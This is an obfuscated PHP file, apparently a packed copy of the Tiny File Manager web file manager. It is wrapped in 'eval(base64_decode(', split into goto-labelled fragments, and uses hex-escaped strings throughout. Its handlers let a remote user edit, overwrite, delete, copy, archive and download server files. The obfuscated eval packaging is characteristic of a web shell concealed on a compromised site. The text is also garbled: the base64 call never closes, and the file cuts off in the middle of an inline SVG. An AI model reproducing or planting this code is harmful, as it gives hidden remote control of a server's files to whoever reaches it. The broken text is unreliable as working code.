eval(base64_decode('
 goto iQw1i; vdiIo: if (!FM_READONLY) { ?>
<div class="col-xs-12 col-sm-9"><ul class="footer-action list-inline"><li class="list-inline-item"><a href="#/select-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return select_all(),!1"><i class="fa fa-check-square"></i><?php  echo lng("\123\x65\x6c\x65\x63\x74\101\154\x6c"); ?>
</a></li><li class="list-inline-item"><a href="#/unselect-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return unselect_all(),!1"><i class="fa fa-window-close"></i><?php  echo lng("\x55\x6e\x53\x65\x6c\x65\x63\x74\101\x6c\x6c"); ?>
</a></li><li class="list-inline-item"><a href="#/invert-all"class="btn btn-outline-primary btn-2 btn-small"onclick="return invert_all(),!1"><i class="fa fa-th-list"></i><?php  echo lng("\x49\156\x76\x65\x72\x74\x53\145\x6c\145\143\x74\x69\x6f\156"); ?>
</a></li><li class="list-inline-item"><input name="delete"type="submit"value="Delete"id="a-delete"class="hidden"onclick='return confirm("<?php  echo lng("\104\x65\154\145\164\x65\x20\x73\x65\x6c\x65\143\164\145\144\x20\x66\151\154\x65\x73\40\x61\x6e\144\x20\x66\x6f\154\144\x65\162\x73\77"); ?>
")'> <a href="javascript:document.getElementById('a-delete').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-trash"></i><?php  echo lng("\104\x65\x6c\x65\164\x65"); ?>
</a></li><li class="list-inline-item"><input name="zip"type="submit"value="zip"id="a-zip"class="hidden"onclick='return confirm("<?php  echo lng("\103\162\x65\x61\x74\x65\x20\x61\x72\x63\150\x69\x76\x65\x3f"); ?>
")'> <a href="javascript:document.getElementById('a-zip').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-file-archive-o"></i><?php  echo lng("\132\x69\x70"); ?>
</a></li><li class="list-inline-item"><input name="tar"type="submit"value="tar"id="a-tar"class="hidden"onclick='return confirm("<?php  echo lng("\x43\x72\145\x61\164\x65\x20\141\162\143\150\x69\166\145\77"); ?>
")'> <a href="javascript:document.getElementById('a-tar').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-file-archive-o"></i><?php  echo lng("\x54\141\162"); ?>
</a></li><li class="list-inline-item"><input name="copy"type="submit"value="Copy"id="a-copy"class="hidden"> <a href="javascript:document.getElementById('a-copy').click();"class="btn btn-outline-primary btn-2 btn-small"><i class="fa fa-files-o"></i><?php  echo lng("\103\x6f\160\x79"); ?>
</a></li></ul></div><div class="d-none col-3 d-sm-block"><a href="https://tinyfilemanager.github.io"class="float-right text-muted"target="_blank">Tiny File Manager<?php  echo VERSION; ?>
</a></div><?php  } else { ?>
<div class="col-12"><a href="https://tinyfilemanager.github.io"class="float-right text-muted"target="_blank">Tiny File Manager<?php  echo VERSION; ?>
</a></div><?php  } goto iUEK0; WIQ8T: $exclude_items = array(); goto MLAiP; XiXEi: define("\x56\x45\x52\123\111\x4f\116", "\x32\56\x35\x2e\x31"); goto eDvtM; Yn3cR: $default_timezone = "\105\x74\x63\57\125\124\x43"; goto Xr7Mv; T02Vs: if (isset($_GET["\x65\x64\151\164"]) && !FM_READONLY) { $file = $_GET["\x65\x64\x69\164"]; $file = fm_clean_path($file, false); $file = str_replace("\57", '', $file); if ($file == '' || !is_file($path . "\x2f" . $file) || in_array($file, $GLOBALS["\145\170\143\x6c\165\144\145\137\x69\164\x65\x6d\163"])) { fm_set_msg(lng("\x46\151\154\x65\40\x6e\x6f\164\40\x66\x6f\x75\156\144"), "\145\x72\162\x6f\162"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($FM_PATH)); } $editFile = "\x20\x3a\x20\74\x69\x3e\74\x62\76" . $file . "\x3c\57\x62\x3e\x3c\x2f\x69\x3e"; header("\130\55\x58\x53\x53\55\120\x72\x6f\164\x65\143\164\151\157\156\72\60"); fm_show_header(); fm_show_nav_path(FM_PATH); $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? "\x2f" . FM_PATH : '') . "\x2f" . $file); $file_path = $path . "\57" . $file; $isNormalEditor = true; if (isset($_GET["\145\156\166"])) { if ($_GET["\145\156\166"] == "\141\x63\145") { $isNormalEditor = false; } } if (isset($_POST["\163\141\x76\x65\144\x61\x74\x61"])) { $writedata = $_POST["\x73\x61\x76\145\x64\x61\164\x61"]; $fd = fopen($file_path, "\x77"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng("\x46\x69\x6c\145\40\x53\141\166\x65\x64\40\x53\165\x63\x63\145\x73\163\146\165\154\x6c\171")); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == "\x74\x65\170\x74" || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
<div class="path"><div class="row"><div class="col-xs-12 col-lg-6 pt-1 col-sm-5"><div class="btn-toolbar"role="toolbar"><?php  if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar"><button class="btn btn-sm btn-outline-secondary"title="Fullscreen"data-cmd="none"id="js-ace-fullscreen"data-option="fullscreen"><i class="fa fa-expand"title="Fullscreen"></i></button> <button class="btn btn-sm btn-outline-secondary"title="Search"data-cmd="find"id="js-ace-search"><i class="fa fa-search"title="Search"></i></button> <button class="btn btn-sm btn-outline-secondary"title="Undo"data-cmd="undo"id="js-ace-undo"><i class="fa fa-undo"title="Undo"></i></button> <button class="btn btn-sm btn-outline-secondary"title="Redo"data-cmd="redo"id="js-ace-redo"><i class="fa fa-repeat"title="Redo"></i></button> <button class="btn btn-sm btn-outline-secondary"title="Word Wrap"data-cmd="none"id="js-ace-wordWrap"data-option="wrap"><i class="fa fa-text-width"title="Word Wrap"></i></button> <select class="d-none border-start-0 btn-outline-secondary d-md-block"id="js-ace-mode"data-type="mode"title="Select Document Type"><option>-- Select Mode --</option></select> <select class="d-none border-start-0 btn-outline-secondary d-lg-block"id="js-ace-theme"data-type="theme"title="Select Theme"><option>-- Select Theme --</option></select> <select class="d-none border-start-0 btn-outline-secondary d-lg-block"id="js-ace-fontSize"data-type="fontSize"title="Select Font Size"><option>-- Select Font Size --</option></select></div><?php  } ?>
</div></div><div class="col-xs-12 col-lg-6 pt-1 col-sm-7 edit-file-actions text-end"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&view=<?php  echo urlencode($file); ?>
"class="btn btn-outline-primary btn-sm"title="<?php  echo lng("\102\x61\143\x6b"); ?>
"><i class="fa fa-reply-all"></i><?php  echo lng("\x42\141\x63\x6b"); ?>
</a><a href="javascript:void(0);"class="btn btn-outline-primary btn-sm"title="<?php  echo lng("\102\141\143\x6b\x55\160"); ?>
"onclick='backup("<?php  echo urlencode(trim(FM_PATH)); ?>
","<?php  echo urlencode($file); ?>
")'><i class="fa fa-database"></i><?php  echo lng("\102\141\143\x6b\x55\160"); ?>
</a><?php  if ($is_text) { if ($isNormalEditor) { ?>
<a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($file); ?>
&env=ace"class="btn btn-outline-primary btn-sm"title="Advanced"><i class="fa fa-pencil-square-o"></i><?php  echo lng("\x41\144\166\141\156\x63\x65\144\105\x64\x69\164\157\162"); ?>
</a><button class="btn btn-sm btn-success"type="button"data-url="<?php  echo fm_enc($file_url); ?>
"name="Save"onclick='edit_save(this,"nrl")'><i class="fa fa-floppy-o"></i> Save</button><?php  } else { ?>
<a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($file); ?>
"class="btn btn-outline-primary btn-sm"title="Plain Editor"><i class="fa fa-text-height"></i><?php  echo lng("\x4e\157\162\x6d\141\154\x45\x64\x69\x74\157\162"); ?>
</a><button class="btn btn-sm btn-success"type="button"data-url="<?php  echo fm_enc($file_url); ?>
"name="Save"onclick='edit_save(this,"ace")'><i class="fa fa-floppy-o"></i><?php  echo lng("\123\x61\x76\x65"); ?>
</button><?php  } } ?>
</div></div><?php  if ($is_text && $isNormalEditor) { echo "\x3c\164\x65\170\x74\x61\162\145\141\x20\143\154\x61\x73\163\x3d\42\155\x74\55\62\42\x20\151\x64\x3d\42\156\x6f\162\x6d\x61\x6c\55\x65\x64\x69\164\157\x72\x22\x20\x72\x6f\167\x73\x3d\x22\x33\63\42\40\143\157\154\163\75\42\x31\x32\60\42\40\163\x74\171\x6c\145\x3d\x22\167\151\144\x74\x68\72\x20\x39\x39\56\x35\45\x3b\x22\x3e" . htmlspecialchars($content) . "\74\x2f\x74\145\x78\x74\141\162\x65\x61\76"; } elseif ($is_text) { echo "\x3c\144\x69\x76\40\x69\144\x3d\42\145\144\x69\164\x6f\x72\42\x20\143\x6f\156\164\x65\x6e\x74\145\x64\x69\x74\141\142\154\145\75\42\164\162\x75\145\x22\76" . htmlspecialchars($content) . "\74\x2f\144\151\166\76"; } else { fm_set_msg(lng("\x46\x49\x4c\x45\40\105\130\x54\105\x4e\x53\111\x4f\116\40\x48\x41\x53\40\116\x4f\124\x20\x53\x55\x50\x50\117\x52\124\x45\104"), "\145\x72\162\x6f\162"); } ?>
</div><?php  fm_show_footer(); die; } goto GNaFM; V7k_4: if (!empty($files)) { natcasesort($files); } goto Z0yEM; kA6Ib: $num_folders = count($folders); goto n8_Vp; vGJ57: $datetime_format = "\x6d\57\144\x2f\171\171\40\x67\x3a\x69\40\x41"; goto pm136; BnwYs: ?>
</th><th><?php  goto fAzLc; OzwKH: if (isset($_GET["\163\x65\x74\164\x69\156\147\163"]) && !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); global $cfg, $lang, $lang_list; ?>
<div class="pt-3 col-md-8 offset-md-2"><div class="card mb-2<?php  echo fm_get_theme(); ?>
"><h6 class="card-header d-flex justify-content-between"><span><i class="fa fa-cog"></i><?php  echo lng("\x53\145\x74\164\x69\x6e\147\x73"); ?>
</span><a href="?p=<?php  echo FM_PATH; ?>
"class="text-danger"><i class="fa fa-times-circle-o"></i><?php  echo lng("\x43\141\156\x63\145\x6c"); ?>
</a></h6><div class="card-body"><form method="post"action=""onsubmit="return save_settings(this)"id="js-settings-form"data-type="ajax"><input name="type"type="hidden"value="settings"aria-hidden="true"aria-label="hidden"><div class="row form-group"><label for="js-language"class="col-form-label col-sm-3"><?php  echo lng("\114\141\x6e\147\x75\141\147\145"); ?>
</label><div class="col-sm-5"><select class="form-select"id="js-language"name="js-language"><?php  function getSelected($l) { global $lang; return $lang == $l ? "\x73\145\x6c\x65\143\x74\x65\x64" : ''; } foreach ($lang_list as $k => $v) { echo "\x3c\157\160\x74\151\157\156\x20\x76\x61\154\165\145\x3d\x27{$k}\47\40" . getSelected($k) . "\76{$v}\74\57\157\x70\164\x69\157\x6e\76"; } ?>
</select></div></div><div class="mb-3 row mt-3"><label for="js-error-report"class="col-form-label col-sm-3"><?php  echo lng("\x45\162\162\157\162\122\x65\x70\x6f\162\x74\151\156\x67"); ?>
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-error-report"type="checkbox"value="true"id="js-error-report"class="form-check-input"role="switch"<?php  echo $report_errors ? "\143\x68\145\143\153\x65\144" : ''; ?>
></div></div></div><div class="mb-3 row"><label for="js-show-hidden"class="col-form-label col-sm-3"><?php  echo lng("\x53\150\x6f\167\x48\x69\x64\x64\x65\x6e\x46\x69\x6c\x65\x73"); ?>
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-show-hidden"type="checkbox"value="true"id="js-show-hidden"class="form-check-input"role="switch"<?php  echo $show_hidden_files ? "\143\150\x65\143\153\145\x64" : ''; ?>
></div></div></div><div class="mb-3 row"><label for="js-hide-cols"class="col-form-label col-sm-3"><?php  echo lng("\110\x69\144\145\x43\x6f\x6c\x75\x6d\x6e\163"); ?>
</label><div class="col-sm-9"><div class="form-check form-switch"><input name="js-hide-cols"type="checkbox"value="true"id="js-hide-cols"class="form-check-input"role="switch"<?php  echo $hide_Cols ? "\x63\x68\x65\x63\153\x65\x64" : ''; ?>
></div></div></div><div class="mb-3 row"><label for="js-3-1"class="col-form-label col-sm-3"><?php  echo lng("\124\x68\x65\155\145"); ?>
</label><div class="col-sm-5"><select class="form-select w-100"id="js-3-0"name="js-theme-3"><option value="light"<?php  if ($theme == "\x6c\151\147\150\x74") { echo "\x73\145\x6c\x65\143\x74\x65\144"; } ?>
><?php  echo lng("\x6c\x69\x67\150\x74"); ?>
</option><option value="dark"<?php  if ($theme == "\x64\141\162\x6b") { echo "\163\145\154\x65\x63\x74\x65\x64"; } ?>
><?php  echo lng("\x64\141\x72\x6b"); ?>
</option></select></div></div><div class="mb-3 row"><div class="col-sm-10"><button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\x53\x61\x76\x65"); ?>
</button></div></div></form></div></div></div><?php  fm_show_footer(); die; } goto w6lOb; VNONn: if (isset($_GET["\144\154"], $_POST["\x74\x6f\153\x65\156"])) { if (!verifyToken($_POST["\164\157\153\x65\x6e"])) { fm_set_msg("\111\x6e\x76\x61\154\x69\x64\40\124\x6f\153\145\156\56", "\x65\162\162\157\162"); } $dl = $_GET["\144\154"]; $dl = fm_clean_path($dl); $dl = str_replace("\x2f", '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } if ($dl != '' && is_file($path . "\57" . $dl)) { fm_download_file($path . "\57" . $dl, $dl, 1024); die; } else { fm_set_msg(lng("\x46\151\x6c\145\40\156\157\164\40\x66\157\165\x6e\x64"), "\x65\x72\162\157\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\x3d" . urlencode($FM_PATH)); } } goto zPNjl; YY328: $_POST = strpos($input, "\x61\x6a\141\170") != FALSE && strpos($input, "\163\x61\166\x65") != FALSE ? json_decode($input, true) : $_POST; goto wbSU3; pgtUr: if (empty($auth_users)) { $use_auth = false; } goto oTmmZ; IRvDz: if (isset($_POST["\143\x6f\x70\x79"]) && !FM_READONLY) { $copy_files = isset($_POST["\x66\x69\x6c\x65"]) ? $_POST["\x66\151\x6c\145"] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg(lng("\x4e\157\164\x68\151\156\x67\40\163\x65\x6c\x65\x63\x74\145\144"), "\141\154\145\162\x74"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\75" . urlencode($FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?>
<div class="path"><div class="card<?php  echo fm_get_theme(); ?>
"><div class="card-header"><h6><?php  echo lng("\x43\157\160\x79\151\x6e\x67"); ?>
</h6></div><div class="card-body"><form method="post"action=""><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?>
"> <input name="finish"type="hidden"value="1"><?php  foreach ($copy_files as $cf) { echo "\74\x69\156\160\x75\x74\40\164\171\160\145\75\42\150\151\x64\144\x65\156\42\x20\156\x61\x6d\145\75\x22\x66\x69\154\145\x5b\135\42\x20\x76\x61\x6c\x75\x65\x3d\x22" . fm_enc($cf) . "\42\76" . PHP_EOL; } ?>
<p class="break-word"><strong><?php  echo lng("\106\151\x6c\x65\x73"); ?>
</strong>: <b><?php  echo implode("\x3c\x2f\142\x3e\54\40\74\x62\x3e", $copy_files); ?>
</b></p><p class="break-word"><strong><?php  echo lng("\123\157\x75\x72\x63\x65\106\x6f\x6c\x64\x65\x72"); ?>
</strong>:<?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "\57" . FM_PATH)); ?>
<br><label for="inp_copy_to"><strong><?php  echo lng("\104\x65\163\x74\151\156\141\164\x69\157\156\x46\x6f\154\144\145\x72"); ?>
</strong>:</label><?php  echo FM_ROOT_PATH; ?>
/<input name="copy_to"value="<?php  echo fm_enc(FM_PATH); ?>
"id="inp_copy_to"></p><p class="custom-checkbox custom-control"><input name="move"type="checkbox"value="1"id="js-move-files"class="custom-control-input"><label for="js-move-files"class="ms-2 custom-control-label"><?php  echo lng("\115\157\166\x65"); ?>
</label></p><p><b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"class="btn btn-outline-danger"><i class="fa fa-times-circle"></i><?php  echo lng("\103\x61\x6e\x63\x65\x6c"); ?>
</a></b><input name="token"type="hidden"value="<?php  echo $_SESSION["\x74\x6f\x6b\x65\156"]; ?>
"> <button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("\103\157\160\171"); ?>
</button></p></form></div></div></div><?php  fm_show_footer(); die; } goto Oj2Ea; qVC6L: defined("\106\x4d\x5f\x52\x4f\117\x54\137\x50\x41\x54\110") || define("\x46\x4d\137\x52\x4f\x4f\124\137\120\x41\x54\110", $root_path); goto fX8Pm; g8b1Q: ?>
"><div class="table-responsive"><table class="table table-bordered table-hover table-sm<?php  goto qIJXn; dwX3v: function fm_convert_win($filename) { if (FM_IS_WIN && function_exists("\151\x63\x6f\x6e\166")) { $filename = iconv(FM_ICONV_INPUT_ENC, "\125\x54\106\55\70\57\57\111\107\116\x4f\122\x45", $filename); } return $filename; } goto HVH9r; HYSZ2: function verifyToken($token) { if (hash_equals($_SESSION["\x74\157\x6b\x65\156"], $token)) { return true; } return false; } goto gILDa; uLh_u: ?>
"> <input name="group"type="hidden"value="1"> <input name="token"type="hidden"value="<?php  goto P_W3f; M7pLg: $use_highlightjs = true; goto SwXQm; ItuH7: $objects = is_readable($path) ? scandir($path) : array(); goto Dnc81; iTuM5: if (!defined("\x46\115\137\x53\105\x53\x53\111\117\x4e\137\111\104")) { define("\106\x4d\x5f\123\105\123\x53\x49\x4f\116\x5f\x49\104", "\x66\x69\154\x65\155\x61\156\141\147\x65\x72"); } goto Ejjfk; IXo5y: define("\106\x4d\137\x54\110\x45\115\x45", $theme); goto fIJks; j10mz: $input = file_get_contents("\160\150\160\72\x2f\57\151\156\x70\x75\x74"); goto YY328; apRdP: function fm_get_file_mimes($extension) { $fileTypes["\163\167\146"] = "\x61\x70\160\x6c\x69\143\141\x74\x69\157\156\57\170\55\163\150\157\143\153\x77\x61\166\x65\x2d\146\x6c\x61\x73\x68"; $fileTypes["\160\144\x66"] = "\141\160\x70\x6c\151\x63\141\164\151\x6f\x6e\57\x70\x64\x66"; $fileTypes["\x65\170\x65"] = "\x61\x70\x70\154\151\x63\141\x74\x69\157\x6e\57\x6f\143\164\x65\x74\55\x73\x74\x72\x65\141\155"; $fileTypes["\172\x69\160"] = "\x61\160\160\154\151\143\141\x74\x69\157\x6e\x2f\172\x69\x70"; $fileTypes["\144\157\x63"] = "\141\160\x70\154\151\143\x61\164\x69\x6f\156\57\155\163\x77\x6f\x72\144"; $fileTypes["\170\x6c\x73"] = "\141\160\160\154\151\x63\x61\164\151\x6f\x6e\x2f\166\156\x64\x2e\155\163\55\145\x78\143\145\154"; $fileTypes["\x70\x70\x74"] = "\x61\160\160\154\x69\x63\141\164\x69\x6f\x6e\x2f\x76\x6e\144\x2e\155\x73\55\x70\x6f\x77\x65\162\x70\157\x69\156\164"; $fileTypes["\147\151\x66"] = "\x69\155\x61\x67\x65\57\x67\x69\x66"; $fileTypes["\x70\156\147"] = "\x69\155\x61\147\x65\57\x70\156\x67"; $fileTypes["\x6a\x70\x65\x67"] = "\151\155\x61\x67\145\x2f\x6a\160\147"; $fileTypes["\152\x70\x67"] = "\x69\x6d\x61\x67\x65\x2f\152\x70\147"; $fileTypes["\x77\x65\142\160"] = "\151\155\x61\x67\x65\x2f\167\145\x62\160"; $fileTypes["\x61\166\x69\x66"] = "\151\155\141\147\x65\x2f\141\166\x69\146"; $fileTypes["\162\141\x72"] = "\x61\x70\160\154\x69\x63\141\x74\x69\157\x6e\x2f\x72\141\162"; $fileTypes["\x72\141"] = "\141\165\x64\151\157\x2f\x78\x2d\x70\x6e\55\162\x65\x61\154\x61\x75\144\151\157"; $fileTypes["\162\x61\155"] = "\141\x75\x64\151\157\57\170\55\x70\156\x2d\162\145\141\154\x61\x75\x64\x69\157"; $fileTypes["\157\x67\147"] = "\141\165\144\151\157\57\x78\x2d\x70\x6e\x2d\162\x65\x61\154\141\165\144\151\157"; $fileTypes["\167\141\166"] = "\166\151\144\145\157\57\170\x2d\155\163\166\x69\x64\145\x6f"; $fileTypes["\x77\155\166"] = "\166\x69\x64\x65\157\x2f\170\55\155\x73\x76\151\x64\145\157"; $fileTypes["\141\x76\x69"] = "\166\x69\144\145\157\57\x78\x2d\x6d\x73\166\151\144\x65\157"; $fileTypes["\x61\x73\x66"] = "\166\x69\144\145\x6f\x2f\x78\x2d\x6d\x73\x76\151\144\145\x6f"; $fileTypes["\144\x69\166\x78"] = "\x76\x69\x64\145\157\57\x78\x2d\x6d\163\x76\151\144\145\157"; $fileTypes["\x6d\160\x33"] = "\141\165\x64\x69\x6f\x2f\155\x70\x65\147"; $fileTypes["\155\x70\64"] = "\x61\x75\144\151\157\x2f\x6d\160\145\x67"; $fileTypes["\x6d\160\x65\147"] = "\166\x69\144\x65\157\57\155\x70\x65\147"; $fileTypes["\155\x70\x67"] = "\x76\x69\x64\x65\x6f\57\155\160\145\x67"; $fileTypes["\x6d\x70\x65"] = "\x76\151\x64\x65\157\57\155\160\x65\147"; $fileTypes["\x6d\157\166"] = "\166\151\144\x65\x6f\x2f\161\x75\x69\x63\153\x74\151\x6d\x65"; $fileTypes["\163\x77\x66"] = "\166\x69\144\145\157\x2f\161\165\151\x63\x6b\164\151\155\x65"; $fileTypes["\63\147\160"] = "\166\151\144\145\157\57\x71\x75\x69\x63\153\x74\151\x6d\x65"; $fileTypes["\155\64\141"] = "\166\x69\144\145\157\57\x71\x75\151\x63\x6b\164\151\155\145"; $fileTypes["\x61\141\x63"] = "\x76\151\x64\x65\x6f\x2f\161\x75\x69\x63\153\x74\151\x6d\145"; $fileTypes["\155\63\165"] = "\166\x69\x64\x65\157\x2f\x71\x75\x69\x63\153\x74\x69\155\x65"; $fileTypes["\160\x68\x70"] = array("\x61\160\x70\154\151\143\x61\x74\151\157\x6e\57\170\55\160\x68\x70"); $fileTypes["\x68\164\x6d\154"] = array("\x74\145\170\x74\57\150\164\x6d\x6c"); $fileTypes["\x74\x78\x74"] = array("\x74\x65\170\164\x2f\x70\x6c\x61\151\x6e"); if (empty($fileTypes[$extension])) { $fileTypes[$extension] = array("\141\x70\x70\x6c\x69\143\141\x74\x69\x6f\x6e\57\157\x63\164\145\x74\55\163\164\162\x65\141\155"); } return $fileTypes[$extension]; } goto vpc6u; QVk7I: defined("\x46\x4d\137\111\x43\x4f\116\126\x5f\x49\116\120\x55\x54\137\x45\x4e\x43") || define("\x46\x4d\x5f\111\103\x4f\x4e\x56\137\111\116\120\x55\124\137\x45\116\103", $iconv_input_encoding); goto DY1Bk; nAKfn: fm_show_nav_path(FM_PATH); goto eH_An; tYTYI: function fm_get_translations($tr) { try { $content = @file_get_contents("\164\162\x61\x6e\163\154\141\164\x69\157\156\x2e\152\x73\157\156"); if ($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["\154\x61\x6e\147\165\141\147\x65"] as $key => $value) { $code = $value["\143\157\x64\145"]; $lang_list[$code] = $value["\156\141\x6d\x65"]; if ($tr) { $tr[$code] = $value["\x74\162\141\156\x73\x6c\141\x74\151\157\156"]; } } return $tr; } } catch (Exception $e) { echo $e; } } goto LMfGQ; TwZZA: if (is_readable($config_file)) { @(include $config_file); } goto nCuZN; wLOtF: $path = FM_ROOT_PATH; goto lk6I9; lHkjo: fm_show_header(); goto nAKfn; x6rZD: $ik = 6070; goto g9Qp2; t86I3: $num_files = count($files); goto kA6Ib; QSLFO: if (isset($_SESSION[FM_SESSION_ID]["\154\157\x67\147\x65\144"]) && !empty($directories_users[$_SESSION[FM_SESSION_ID]["\154\157\x67\147\145\x64"]])) { $wd = fm_clean_path(dirname($_SERVER["\120\x48\120\x5f\x53\105\x4c\106"])); $root_url = $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]["\154\x6f\147\147\145\144"]]; } goto TisQO; d6L60: if ($parent !== false) { ?>
<tr><?php  if (!FM_READONLY) { ?>
<td class="nosort"></td><?php  } ?>
<td class="border-0"data-sort><a href="?p=<?php  echo urlencode($parent); ?>
"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td><td class="border-0"data-order></td><td class="border-0"data-order></td><td class="border-0"></td><?php  if (!FM_IS_WIN && !$hide_Cols) { ?>
<td class="border-0"></td><td class="border-0"></td><?php  } ?>
</tr><?php  } goto OW9L2; iO59Z: function fm_show_header_login() { $sprites_ver = "\x32\x30\x31\66\60\x33\61\65"; header("\103\x6f\x6e\164\145\x6e\x74\x2d\x54\171\160\x65\72\40\164\x65\x78\x74\x2f\x68\x74\x6d\x6c\x3b\40\143\x68\x61\162\163\145\x74\x3d\165\x74\x66\55\70"); header("\x45\x78\160\x69\162\145\163\72\x20\x53\x61\x74\54\x20\62\x36\x20\112\x75\x6c\x20\x31\71\71\67\40\x30\65\x3a\60\x30\72\x30\x30\x20\x47\115\x54"); header("\103\141\143\x68\x65\x2d\103\157\156\x74\x72\x6f\x6c\72\40\156\157\55\163\x74\x6f\x72\145\x2c\40\x6e\157\x2d\143\141\x63\x68\x65\x2c\x20\155\x75\163\164\55\162\x65\166\141\154\151\144\x61\x74\145\x2c\40\160\157\163\164\55\143\x68\145\143\x6b\75\x30\54\x20\160\x72\145\55\143\150\x65\143\153\75\60"); header("\x50\x72\x61\147\x6d\x61\72\40\x6e\157\x2d\x63\141\x63\150\x65"); global $lang, $root_url, $favicon_path; ?>
<!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><meta content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"name="description"><meta content="CCP Programmers"name="author"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php  if ($favicon_path) { echo "\74\x6c\151\156\x6b\40\x72\145\x6c\75\x22\151\143\157\156\42\40\150\x72\145\x66\x3d\42" . fm_enc($favicon_path) . "\x22\40\164\x79\x70\145\75\x22\x69\x6d\x61\147\x65\57\x70\156\147\x22\76"; } ?>
<title><?php  echo fm_enc(APP_TITLE); ?>
</title><link href="https://cdn.jsdelivr.net"rel="preconnect"crossorigin><link href="https://cdn.jsdelivr.net"rel="dns-prefetch"><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css"rel="stylesheet"crossorigin="anonymous"integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi"><style>body.fm-login-page{background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 